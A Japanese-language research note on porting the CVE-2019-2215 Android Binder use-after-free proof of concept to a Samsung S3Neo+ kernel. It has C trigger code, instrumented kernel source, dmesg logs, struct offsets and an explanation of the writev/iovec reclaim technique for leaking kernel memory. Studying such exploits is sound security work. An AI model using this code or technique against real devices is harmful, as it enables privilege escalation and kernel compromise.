
CVE-2019-2215のPoCと分析。Android Binderのuse-after-free。影響を受けるSamsungデバイス向けのカーネル計装とエクスプロイトチューニングが含まれています。
ソース:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
Samsung S7 および S7 Edge(Kernel 3.18.x)は脆弱ではないように見えます(ただし、PoC の調整をさらに行えば脆弱である可能性もあります)。root 化されたデバイスがないため、それ以上確認できませんでした。
Samsung S3Neo+(LineageOS Kernel 3.4.0)は脆弱である可能性があります(進行中)
カーネル 3.4.0
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/
KASLR なし
カーネル構造体アドレスをリークする必要なし
8 バイトアライメント(構造体にフィールドが1つ少ないため)
binder_thread サイズ:0xfc (252)
wait queue オフセット:0x2c (44)
トリガーさせるには少なくとも 2 つのエントリを追加する必要がありました。1 つではトリガーしませんでした。
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533
PoC:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul
int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };
fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");
//ioctl(fd, BINDER_VERSION, NULL);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}
何が起こっているかを確認するためにカーネルの binder.c と eventpoll.c を改変
binder.c
static int binder_free_thread(struct binder_proc *proc, struct binder_thread *thread) { struct binder_transaction *t; struct binder_transaction *send_reply = NULL; int active_transactions = 0; static const size_t memberOffset = offsetof(binder_thread, wait); wait_queue_head_t *wqhptr = &thread->wait; wait_queue_head_t *pwqhptr = &proc->wait; struct list_head *n1,*p1;
wait_queue_t *my2;
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
eventpoll.c
static void ep_remove_wait_queue(struct eppoll_entry *pwq) { wait_queue_head_t *whead; wait_queue_t *strptr; struct list_head *n1,*p1;
wait_queue_t *my2;
rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");
if (whead)
{
strptr=&pwq->wait;
list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
リストが出力されているのは確認できるが、Android ブートアップ中には自分の PoC では出力されない:
Android 起動中
[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00
proc->task_list が出力されている...
PoC:
[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free
しかし、バグは自分の PoC ではトリガーされません。thread と proc の下に二重リストエントリが見られません :/
ここで use after free バグが発生するはずです。
コード:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
これが呼ばれると、カーネル内で binder_thread 構造体が解放されます。
その直後に親プロセスが以下を呼び出します:
コード:
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
カーネル内では、iovec_array をユーザースペースからコピーするためにメモリが割り当てられます。この PoC は、この割り当てによるポインタが、解放されたばかりの binder_thread メモリと同じになることに依存しています。
次に、子プロセスが終了すると、EPOLL のクリーンアップが、iovec_array の値で上書きされた binder_thread 構造体の waitqueue を使用します。EPOLL クリーンアップが waitqueue をリンク解除する際、0xDEADBEEF がカーネル空間のポインタによって上書きされます。これは、親プロセスの writev 呼び出しが 2 番目のバッファのコピーを開始する直前に発生する必要があり、それによってカーネル空間メモリリークが発生します。
writev が 0x1000 を返す場合、タイミングがずれている、wait queue オフセットが間違っている、writev 関数内の kmalloc 割り当てが解放された binder_thread と同じではない、またはカーネルが脆弱ではないことを意味します。